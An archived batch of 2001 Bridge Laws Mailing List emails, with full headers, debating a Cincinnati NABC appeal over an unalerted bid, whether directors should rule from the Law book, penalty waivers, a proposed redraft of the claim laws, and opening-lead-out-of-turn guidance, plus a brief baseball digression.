(EST) Received: from mike (1Cust231.tnt2.bellingham.wa.da.uu.net [63.25.64.231]) by smtppop2pub.verizon.net with ESMTP for ; id QAA84872996 Mon, 29 Jan 2001 16:49:50 -0600 (CST) Message-ID: <010801c08a46$d4e69940$0b00000a@mike> Reply-To: "Mike Dodson" From: "Mike Dodson" To: References: <3.0.6.32.20010129140609.00833c50@pop.ulb.ac.be> Subject: Re: [BLML] Cincinnati NABC Appeal 36 Date: Mon, 29 Jan 2001 13:15:58 -0800 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2919.6600 X-Mimeole: Produced By Microsoft MimeOLE V5.00.2919.6600 Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Why so little sympathy for NOS? E/W provided MI by failing to alert, failed to call the director and correct at the end of auction. N/S failed to assume MI instead of system violation, failed to assume the opponents would ignore their responsibility to correct MI, failed to immediately call the director after it was too late to do anything but continue play and adjust if necessary. Surely South cannot be expected to call the director after West's pass and before partner calls in case there might have been MI at the price of major UI to partner should West be psyching either his first or second call. Perhaps North should check to protect partner but since his hand isn't going to take any action, why should he ask? If North were to claim he would have done something different I would have more sympathy for the ruling but then why shouldn't he be able to rely on the opponents to correct MI after his pass (and reopen the aution if he chose). The sins of E/W seem far more serious than some possibility of a double shot by N/S. The ruling might be right because it is judged that South was unlikely to take action if properly informed but then a split score would still be reasonable. An additional PP to E/W for failing to correct MI properly (PPw if typical clueless ACBL LM's). In short, E/W lied, cheated and N/S didn't accuse them of it in a timely manner: No damage, no penalty. OK, I wouldn't use those words (or even think them) as director or unbiased observer but I might feel them if I were N/S. Let me also second Adam's comments regarding consulting players on the law rather than judgment. ----- Original Message ----- From: "alain gottcheiner" To: "Marvin L. French" ; Sent: Monday, January 29, 2001 5:06 AM Subject: Re: [BLML] Cincinnati NABC Appeal 36 > At 23:41 26/01/01 -0800, Marvin L. French wrote: > >Dealer West > > > > S- K5 > > H- A6 > > D- Q104 > > C- J98632 > > > >S- QJ10983 S-7 > >H- 1097 H- KQJ843 > >D- 982 D- A75 > >C- 5 C- K74 > > > > S- A642 > > H- 52 > > D- KJ63 > > C- AQ10 > > > >The bidding: > > > >West North East South > >2S P 3H* all pass > > > >The Facts: 3H went down one, +50 for N/S. The Director was called after trick > >two. North asked after her final pass about 3H and was told by the bidder > that > >it was non-forcing. The Director was not called at that time. West paused 3-4 > >seconds before passing 3H. Had the Director been called before the final > pass, > >N/S would likely have had the opportunity to enter the auction at their own > >risk. The Director allowed the table result to stand. > > > >The Appeal: N/S appealed the Director's ruling. South said if he had known 3H > >was non-forcing, he would have entered the auction with a double and N/S > would > >have reached 5C. South, a Life Master, indicated that he did not know he was > >supposed to call the Director at that time. E/W agreed that the 3H bid had > not > >been Alerted but believed that South had an opportunity to bid and that any > >damage had not been because West neglected to Alert. > > AG : any of us, specialists of the Laws IMOCO, would have understood after > West's pass that their partner had been deprived of a possiblility to bid. > They would have called immediately. This would have been better for two > reasons : 1) the complexities of the TD call, AC hearing etc. would have > been made lighter ; and 2) they would be free of any suspicion of 'result > recapturig' (calque from French) or whatever you call it. > > The problem is, South's double is far from clear (I wouldn't have made it), > which means that by postponing their call, N/S had more rights. If the TD > had been called immediately, South would have got his chance - equity > restored. When he was called late, N/S had the benefit of the best > reasonable result, which is very advantageous to them. This sounds badly > wrong, but the culprit is the text of the laws, not N/S. > > Adjust the score, tell N/S they should have called ASAP, and curse TFLB. > > A. -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:18 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJVB21834 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:32 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIwt21734 for ; Tue, 30 Jan 2001 10:18:59 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZP-000AOL-0B for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:49 +0000 Message-ID: Date: Mon, 29 Jan 2001 18:43:19 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <006a01c087ff$64832360$9a9c1e18@san.rr.com> <200101270237.SAA17196@mailhub.irvine.com> In-Reply-To: <200101270237.SAA17196@mailhub.irvine.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Adam Beneschan writes >I've read the first two books by the late umpire Ron Luciano, and he >gives some insight into the rules of baseball and how well the >managers know them. A few managers knew the rules really well, but >the majority of them didn't really know the rules; in most cases, >Luciano believed, managers became experts at the rules that caused >them problems, but remained ignorant of the rest. Luciano also wrote >that, in order to graduate from umpire school, he had to take a test >on the rulebook, and he got 297 out of 300 questions right; he doubted >that any managers could match that. The impression I got from this >book is that umpires didn't work with the rulebook because they were >well-trained not to need it. (He did write about one incident in >which an umpire did have to get his rulebook from the locker room and >refer to it; it involved a complicated batting-out-of-order situation >that wasn't specifically covered in the book.) I think this is >necessary in baseball, because umpires have to maintain authority, and >they would lose it if they had to refer to the rulebook every time >they needed to make a ruling. Note the training and tests. Apart from whether TDs should know the Laws, the evidence seems to be that they don't in general. It does not give faith in rulings when the officials give rulings which seem doubtful in a sport where it is normal to read them from a Law book. If, throughout the world, TDs were trained and required to know the Laws, I would not be asking them to read from the Law book. But we are talking of inadequately trained TDs, and even of the adequately trained ones, how many have passed a test on quoting the Laws? -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:20 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJSi21824 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:28 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIut21719 for ; Tue, 30 Jan 2001 10:18:56 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZP-000AOK-0B for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:48 +0000 Message-ID: Date: Mon, 29 Jan 2001 17:07:10 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Laval_DUBREUIL@UQSS.UQuebec.CA writes >David Stevenson wrote: > In my view, a good club TD does not rule from memory. >____________________________________________________________ > >Bridge then is a special game. Have you ever seen a >referee working with a lawbook at hockey, baseball >or other such games. When calling the TD at bridge >last 30 years in sectionals or nationals I rarely >see one coming with his lawbook this side of the >pound. Oh yes? And what is the accuracy? Forgetting the judgement decisions, the NABC case-books I comment on include one or two horror stories where TDs have made some incredible decisions, clearly wrong by opening the Law book, and probably worth being sacked if such a ruling was given at a European Championship. North American Directors are not good enough to rule without opening the Law books. OK, there are no doubt a lot of exceptions, but the stories I have read here, RGB, the ACBL Bulletin and in the case-books convince me I am right as a generality. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:23 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJY421844 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIxt21744 for ; Tue, 30 Jan 2001 10:19:00 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZW-000AOK-0B for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:56 +0000 Message-ID: Date: Mon, 29 Jan 2001 20:29:17 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Cincinnati NABC Appeal 36 References: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> In-Reply-To: <004c01c08834$dc6d4740$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >The casebook commentators approved the Panel's decision, giving it a score of >92.3. I'd give it 62.3 Well, you have a copy of the casebook, and I don't, so you know what I thought, and I can't remember! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJct21856 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-11.mail.demon.net (finch-post-11.mail.demon.net [194.217.242.39]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNJ3t21763 for ; Tue, 30 Jan 2001 10:19:05 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-11.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZW-000AOL-0B for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:57 +0000 Message-ID: <7jjPJjBkcdd6Ews7@blakjak.demon.co.uk> Date: Mon, 29 Jan 2001 20:48:36 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Cap Gemini shows the way References: <000701c0893f$9136b340$d7bb7ad5@pbncomputer> <004401c08968$1f2b2820$3901ff3e@vnmvhhid> <000a01c08973$83ffd600$0200000a@mindspring.com> <000f01c0898d$e47a7ac0$5240063e@dodona> In-Reply-To: <000f01c0898d$e47a7ac0$5240063e@dodona> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Grattan Endicott writes >From: Hirsch Davis >> I'm looking at the wording of 81C8 (Duties >> and Powers of the TD): >> >> "8. Waiver of Penalties >> to waive penalties for cause, >+=+ if he considers he has good reason to > do so+=+ >> >> at his discretion, >+=+ and he considers it appropriate* to do > so+=+ >> >> upon the request of the non-offending >> side." >> >+=+ and provided the opponents request > him to do so.+=+ >> >+=+ * If failure to apply the penalty the >law prescribes could alter the rankings of >the competitors, this test is not satisfied. >Discretion is given to the Director to be >applied equitably. ~ Grattan ~ +=+ I do not see that this can possibly be right. If you assume that it is legitimate for this Law to be applied in events other than K/O teams, then in all such events other competitors are going to be affected. I do not suggest whether the current case was one where the TD should waive a penalty, but whether it can affect anyone else's ranking should not be part of his decision-making process. It is considered equitable by some players not to benefit from particular penalties. If the Director agrees it is the equity at the table that is his concern. It is a general part of the decisions of TDs and ACs that they only consider matters at the table concerned, and not the effect on the rest of the field. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:27 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJb521851 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:38 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIst21708 for ; Tue, 30 Jan 2001 10:18:55 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZP-000E00-0C for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:50 +0000 Message-ID: Date: Mon, 29 Jan 2001 19:57:05 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> In-Reply-To: <023e01c08849$0b5b5920$1486b2d1@utcpoqli> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Tom Wood writes >JARGON PROBLEMS IN LAW 68 (CLAIMS & CONCESSIONS) -- >In this thread on claims, several postings have called attention, >at least obliquely, to the insufficient clarity of L68A in com- >bination with L68C. Specifically, in this regard, I believe that >there is not adequate distinction made in Law 68 among the >following actions: > 1. announcing a claim, > 2. initiating (i.e., committing to) announcement of a claim, and > 3. stating a proposed line of play. >Consequently, some posters to this thread have expressed >confusion or doubt as to exactly when the claimant's right to >state a line of play has expired. >(BTW, in my opinion, where any of the players express doubt >that one of the players has actually committed to making a >claim, the Director should be summoned to adjudicate that >issue first. Consequently, it would be premature and inap- >propriate for the potential claimant to offer a proposed line >of play, pending that adjudication.) Of course, the main basic problem behind this thread is whether something is, or should be treated as, a claim under existing Laws. In one way, therefore, this post does not move us any more forward on that problem. Still, it is interesting to see what can be suggested as an alternative set of Laws. Personally, while I applaud your efforts, I dislike the result intensely, which I do not think is beneficial overall to the game. I have added detailed comments. >PROPOSED RE-DRAFT OF L68A & L68C -- > PROPOSED RE-DRAFTS -- > L68A. Announcing a Claim or Initiating a Claim Announcement > If a contestant states that he and his partner will win a > specific number of tricks, he has thereby announced a claim > of those tricks. As I think clear from my approach throughout this thread, I believe this to be completely wrong. I believe claims must be intentional. Other odd remarks should be treated under the laws dealing with extraneous remarks. > Alternatively, if a contestant suggests that > play be curtailed, he has initiated a claim announcement and > should state immediately how many tricks he is claiming. Again, this is a vicious sort of approach, and I think it should definitely be reduced. I do see the point though - defining curtailing play as initiating a claim statement has something going for it, but even under the technical reading of the current Laws people are not really suggesting this. For example, under the current Laws, if you say "Come on, this looks fairly easy" to declarer you may be dealt with for rudeness, or extraneous remarks, but it is not a claim. The wording here would make it a claim, which I think is definitely worse than the current position. > Similarly, a contestant who shows his unplayed cards has > also initiated a claim announcement and should state > immediately how many tricks he is claiming (unless he is the > declarer and has clearly stated that he is not making a claim). There seems no reason for a different rule for declarer. If a defender did not mean to claim, then he did not mean to claim. Of course, if he has showed his hand then there will be penalty cards. Also, why the wording "has clearly stated ..."? That is a BL's delight. If someone does not mean to claim, and everyone knows it, then it should not be a claim: it should not only be for people who know the Laws and know they have to say so. > L68C. Claimant's Statement of Proposed Line of Play > Any announcement of a claim should be followed at once by I wonder about 'at once'. I like 'as soon as possible' myself. that covers the case where your oppo immediately starts shouting his head off - you can state the line when the TD shuts him up. > the claimant's stating a proposed (offensive or defensive) line of > play by which he and his partner would win the number of tricks > claimed. The claimant is entitled to a reasonable opportunity to > complete his statement of proposed line of play without interfer- > ence from any of the other contestants at the table. In the case The point of my statement above is that while I approve of the Law saying he must have an opportunity it also covers the situation where the oppo did not permit him that opportunity. > of a defensive claim, claimant's show of his hand and statement There are a lot of claims made without showing the hand and I see no reason to refer to it. I also do not think Laws should really say why they are - that is for additional Commentary. > of a line of play will necessarily preclude his partner's playing > out the hand and, therefore, Law 16, Unauthorized Information, > and Law 57A, Premature Play, may apply. Consequently, when > a defensive claim is made, contestants should not hesitate to > summon the Director if they have any such concerns. This last is superfluous. It is made clear in the Laws that the TD must be called when there is a problem. Players do not read the Laws. While it is right to keep telling the players this, this is not the medium. Well, criticism should be constructive, so I shall try my own. Rather than alter the above, I shall alter the current. As with the above, I shall leave concessions and acquiescence alone for the time being. LAW 68 - CLAIM OR CONCESSION OF TRICKS For a statement or action to constitute a claim or concession of tricks under these Laws, it must refer to tricks other than one currently in progress *. If it does refer to subsequent tricks: A. Claim Defined Unless the player demonstrably did not intend to claim, then 1 Statement of claim Any statement to the effect that a contestant will win a specific number of tricks is a claim of those tricks. 2 Other claims A contestant also claims when he suggests that play be curtailed, or when he shows his cards. C. Clarification Required for Claim A claim should be accompanied as soon as possible by a statement of clarification as to the order in which cards will be played, the line of play or defence through which the claimer proposes to win the tricks claimed. His opponents are required to give him a reasonable opportunity to make such clarification. LAW 70 - CONTESTED CLAIMS A. General Objective 1 Non-claimer has revoked. If the side that did not claim has revoked, then the claim establishes the revoke, the Director adjudicates the result of the board as equitably as possible to both sides, but any doubtful points shall be resolved against the revoker. 2 Non-claimer has not revoked. Otherwise, in ruling on a contested claim, the Director adjudicates the result of the board as equitably as possible to both sides, but any doubtful points shall be resolved against the claimer. The Director proceeds as follows. B. Clarification Statement Repeated 1 Give Claimer chance to make statement If the Director judges that claimer has not been given a reasonable chance to make a clarification statement then he invites claimer to make one. 2 Require Claimer to Repeat Statement The Director requires claimer to repeat the clarification statement he made at the time of his claim. 3 Require All Hands to Be Faced Next, the Director requires all players to put their remaining cards face up on the table. 4 Hear Objections The Director then hears the opponents' objections to the claim. 5 Decision The Director then adjudges the claim as fairly as possible, following the clarification statement if possible, but allowing for the opponents' objections. The Director shall not consider any successful line of play not embraced in the original clarification statement if there is an alternative normal [*] line of play that would be less successful. All Laws not mentioned are unchanged, except that in the revoke Law I am suggesting that an opponents' claim establishes the revoke. The logic behind and reasons for L70B5 can be seen [referred to as L70B4] in the article Strange Claim by David Stevenson and Herman De Wael at http://www.blakjak.demon.co.uk/str_clm.htm -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:29 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJXi21839 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:34 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIwt21733 for ; Tue, 30 Jan 2001 10:18:59 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZW-000Dzy-0C for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:55 +0000 Message-ID: Date: Mon, 29 Jan 2001 20:25:17 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: Way, Way OT Baseball quotes, was Re: [BLML] Claim? References: In-Reply-To: MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Todd Zimnoch writes >Wrigley Field - The Chicago Cubs play there and it also straddles >communities, particularly a strong Polish immigrant community. The >buildings across the street are just high enough that people watch the game >for free from their roofs while listening to the radio. You're likely to >see polka bands outside the stadium playing for beer money after the game. >Although the Cubs are a miserable team, their fans are possibly the most >loyal. The practice of spectators throwing back an opposing team's homerun >ball (a ball that was hit off the playing field and scored all runners) >started at this stadium, I believe. There is a very unique atmosphere at >this stadium. The last baseball stadium without floodlights, right? Got them a couple of years ago. Because they always played games in daylight, they were available to TV companies at times when there were few other games, and got quite a long-distance TV following as a result. Now spoil it by telling me that I mean the White Sox [Black Sox - must see the film]. But I think it was the Cubs. Personally I support the Red Sox. Saw Martinez and Clemens pitching in the same game last year. Red Sox 1, Yankees 0. Only one bad pitch - by Clemens [home run] - Martinez pitched nine innings. Great! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:20:26 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJMZ21810 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNImt21664 for ; Tue, 30 Jan 2001 10:18:53 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZI-000Dzz-0C for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:43 +0000 Message-ID: <0ke8Y8AQEad6Ewck@blakjak.demon.co.uk> Date: Mon, 29 Jan 2001 16:57:52 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <005c01c087cf$347c1120$9a9c1e18@san.rr.com> In-Reply-To: <005c01c087cf$347c1120$9a9c1e18@san.rr.com> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Marvin L. French writes >From: "David Stevenson" >> The main exception is the OLOOT. The EBU tells its Club TDs that this >> must be learnt not read. >> >> On a club TD course marks are always deducted for not reading from the >> Law book, except for the OLOOT. Every student has to do the OLOOT on >> his own to one of the tutors. >David, please explain why this is so. I believe you also had some problem with >the OLOOT law itself. For those of us who don't understand the problem, give >us a little education if you don't mind. OK. If there is an OLOOT and you read it from the Law book, then first you read out L54. L54A deals with action if the presumed declarer has already begun to spread his hand, and L54C if dummy's cards have been seen, but the rest of L54 applies generally. So, to read the Law out, you need to read the relevant bits, ie L54 header, L54B and L54D. L54D refers to L56, so you also have to read that out. L56 refers to L50D, so now you need to read this out, and it is long and complicated and people do not understand it. Experience shows that if you do all this, then players finish up with no idea what you are talking about - and now you have to go through it again! Accordingly it was decided many years ago that TDs should be taught to quote the OLOOT, but read everything else. Club TD courses in England and Wales each take about seven hours, and are lettered A, B, C and D. A is basic, B involves judgement, C is a test and D is further learning. One of the sheets handed out on the Club 'A' day is as follows: GUIDANCE FOR CLUB DIRECTORS THE OPENING LEAD OUT OF TURN Of all the areas of the Laws which confront the Club Director, this is the one which is the most impossible to read from the book, since there are so many cross-references. The only sensible solution, therefore, is for the Director to have memorised all the essentials of the Laws covering this situation, referring to the book only if additional complications arise. A recommended 'spiel' follows, based on an opening spade lead. You, as declarer, have five choices: The first two involve accepting the opening lead and they are: 1. Dummy goes down now and then the lead comes round to the dummy. 2. You can become the dummy and make your partner become declarer. If you do not accept the opening lead out of turn, the lead reverts to your left-hand opponent. 3. You may let him play what he wishes, the offending card staying on the table as a major penalty card to be played at the first legal opportunity. The final two options involve the offending card being restored to your right-hand opponent's hand and they are: 4. You may demand that left-hand opponent leads a spade. 5. You may forbid a spade lead from left-hand opponent for so long as he retains the lead. In other words, he must lose the lead and then regain it before he may lead spades. You may not consult with your partner before making your decision. In learning all the above, you will not only have mastered the opening lead out of turn, but also: * the lead out of turn by a defender when it is his partner's turn to lead - options 1 and 2 just become "You can accept the lead if you wish"; * the choices available when the partner of a player with a major penalty card gains the lead - options 3, 4 and 5. Based on my experience, I believe it best to tell declarer not to consult with Option 2 - that is the one where they look up to see dummy mouthing "Yes, yes, yes!!!!" This was written before the Law was changed to include the UI requirements in L50D1 - see separate thread. My view is that you do not mention it until after they have made their choice. If the lead is accepted - Option 1 or 2 - then you need say nothing. If option 3, 4 or 5 I then mention the UI aspect. If they are inexperienced players I do not mention it at all: if they are medium experienced I mention it casually: if they are experienced I read it out from the Law book and pray they do not ask me what it means! The problem with the actual wording of L54 is that it says: "When an opening lead is faced out of turn, and offender's partner leads face down, the Director requires the face down lead to be retracted, and the following sections apply." So this Law refers to an OLOOT _and_ offender's partner leading face- down, and theoretically should not apply if offender's partner does not lead. It is an acceptable world-wide interpretation that it applies to all OLOOTS. It has been said that my reading of the words is incorrect. I do not think so, nor do I think it matters. It is my view that first and foremost we are trying to run a game, and that means that where we all know what a Law means, we follow that interpretation. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ From owner-bridge-laws Tue Jan 30 10:34:58 2001 Received: (from majordomo@localhost) by rgb.anu.edu.au (8.10.2/8.10.2) id f0TNJMA21807 for bridge-laws-outgoing; Tue, 30 Jan 2001 10:19:22 +1100 (EST) X-Authentication-Warning: rgb.anu.edu.au: majordomo set sender to owner-bridge-laws@rgb.anu.edu.au using -f Received: from finch-post-12.mail.demon.net (finch-post-12.mail.demon.net [194.217.242.41]) by rgb.anu.edu.au (8.10.2/8.10.2) with ESMTP id f0TNIpt21686 for ; Tue, 30 Jan 2001 10:18:52 +1100 (EST) Received: from blakjak.demon.co.uk ([194.222.6.72]) by finch-post-12.mail.demon.net with smtp (Exim 2.12 #1) id 14NNZO-000Dzy-0C for bridge-laws@rgb.anu.edu.au; Mon, 29 Jan 2001 23:18:48 +0000 Message-ID: Date: Mon, 29 Jan 2001 17:02:27 +0000 To: bridge-laws@rgb.anu.edu.au From: David Stevenson Reply-To: David Stevenson Subject: Re: [BLML] Claim? References: <006101c08734$5fbc50c0$d6e57ad5@pbncomputer> <005a01c08868$c5c56c00$0dc188d1@kay> In-Reply-To: <005a01c08868$c5c56c00$0dc188d1@kay> MIME-Version: 1.0 X-Mailer: Turnpike Integrated Version 4.02 U Sender: owner-bridge-laws@rgb.anu.edu.au Precedence: bulk Nelson/Kay Ford writes >I have polled TDs around here (quite a few in one club with >about 800 members, and a couple at another club), and it >may be hard to believe, but only the head TD at the large >club knew that there is a difference between disposing of >major and minor penalty cards. > >I have not polled as many, but have asked a few who did >not now about not being able to make conventional bids >sufficient without penalty. > >Here's the level of TD Law expertise around here -- >I called a TD and told her I wanted to protest a claim. >Her instructions were to play on. > >When I see this particular TD coming without a Law book >in hand, I figure that the odds of getting a correct ruling >are nil. At least when she has the book, I can suggest where >she should look in it. As in most sports the accepted way to learn how to regulate a game involves some training. It is not really acceptable to become a TD by picking up a Law book and getting on with it. On our basic TD courses they are trained about major and minor penalty cards, insufficient bids and claims, as well as revokes, calls out of turn and various other things. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ -- ======================================================================== (Un)Subscribing? Want the archives? email majordomo@rgb.anu.edu.au with "(un)subscribe bridge-laws" or just "help" in the BODY of the message. A Web archive is at http://rgb.anu.edu.au/bridge-cgi/lwgate/BRIDGE-LAWS/ 